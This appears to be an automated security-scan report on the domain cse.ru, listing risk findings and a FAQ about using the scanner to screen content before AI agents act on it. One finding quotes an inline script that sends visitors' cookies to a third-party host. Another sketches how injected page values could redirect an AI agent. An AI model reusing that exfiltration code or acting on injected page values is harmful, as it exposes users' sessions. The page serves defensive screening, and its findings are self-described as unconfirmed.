context safety score
A score of 47/100 indicates multiple risk signals were detected. This entity shows patterns commonly associated with malicious intent.
encoded payload
suspicious base64-like blobs detected in page content
cloaking
Page loads content in transparent or zero-size iframe overlay
hidden content
Tracking pixel loaded off-screen via position:absolute;left:-9999px — standard analytics practice (Top.Mail.Ru, Yandex.Metrika noscript fallbacks), but constitutes hidden content that exfiltrates visitor data, referrer, and page-view events to third-party Russian tracking infrastructure without conspicuous user disclosure beyond a cookie banner. (location: page.html:128-139)
hidden content
Google Tag Manager noscript iframe is rendered with display:none;visibility:hidden, silently loading GTM environment and executing configured tags without visible indication to the user. (location: page.html:133-136)
malicious redirect
The site-settings JSON block assigns window.rocketdata_url to 'https://rdata.one/vz1d' — a short/opaque URL hosted on a domain unrelated to cse.ru. This URL is then merged onto the window object via Object.assign(window, config), potentially making it available to all scripts for redirect or data-routing purposes. The destination domain rdata.one is not transparent. (location: page.html:142-163 (site-settings JSON + inline script))
hidden content
A script dynamically loads 'https://qoopler.ru/index.php' passing the full document.cookie value and the referrer as URL query parameters: s.src = 'https://qoopler.ru/index.php?ref='+d.referrer+'&cookie='+encodeURIComponent(document.cookie). This sends all cookies set on the cse.ru domain and the referring URL to a third-party server (qoopler.ru) on every page load. This is an anomalous data exfiltration pattern not disclosed in the cookie banner. (location: page.html:970-981 / page-text.txt:792-803)
credential harvesting
The script at page.html:970-981 sends the full document.cookie (including session tokens, CSRF tokens, and any authentication cookies for cse.ru) along with the document.referrer to qoopler.ru via a GET request. The CSRF token 'T3wzDg6bKP0yPvDynCkLquV3C6o1buOlyCdkdcmm' is present in the page meta tag and could be among the cookies exfiltrated to this third-party endpoint. (location: page.html:6 (csrf-token meta), page.html:970-981 (qoopler script))
prompt injection
The site-settings script uses Object.assign(window, config) to pollute the global window object with attacker-influenced keys from a JSON block (including 'lk_url', 'rocketdata_url', 'locale', etc.). If any AI agent or browser automation tool reads window properties to determine navigation targets or locale, these values — including the opaque rdata.one URL — could redirect agent actions to unintended destinations. (location: page.html:154-163)
curl https://api.brin.sh/domain/cse.ruCommon questions teams ask before deciding whether to use this domain in agent workflows.
cse.ru currently scores 47/100 with a suspicious verdict and medium confidence. The goal is to protect agents from high-risk context before they act on it. Treat this as a decision signal: higher scores suggest lower observed risk, while lower scores mean you should add review or block this domain.
Use the score as a policy threshold: 80–100 is safe, 50–79 is caution, 20–49 is suspicious, and 0–19 is dangerous. Teams often auto-allow safe, require human review for caution/suspicious, and block dangerous.
brin evaluates four dimensions: identity (source trust), behavior (runtime patterns), content (malicious instructions), and graph (relationship risk). Analysis runs in tiers: static signals, deterministic pattern checks, then AI semantic analysis when needed.
Identity checks source trust, behavior checks unusual runtime patterns, content checks for malicious instructions, and graph checks risky relationships to other entities. Looking at sub-scores helps you understand why an entity passed or failed.
brin performs risk assessments on external context before it reaches an AI agent. It scores that context for threats like prompt injection, hijacking, credential harvesting, and supply chain attacks, so teams can decide whether to block, review, or proceed safely.
No. A safe verdict means no significant risk signals were detected in this scan. It is not a formal guarantee; assessments are automated and point-in-time, so combine scores with your own controls and periodic re-checks.
Re-check before high-impact actions such as installs, upgrades, connecting MCP servers, executing remote code, or granting secrets. Use the API in CI or runtime gates so decisions are based on the latest scan.
Learn more in threat detection docs, how scoring works, and the API overview.
Assessments are automated and may contain errors. Findings are risk indicators, not confirmed threats. This is a point-in-time assessment; security posture can change.
integrate brin in minutes — one GET request is all it takes. query the api, browse the registry, or download the full dataset.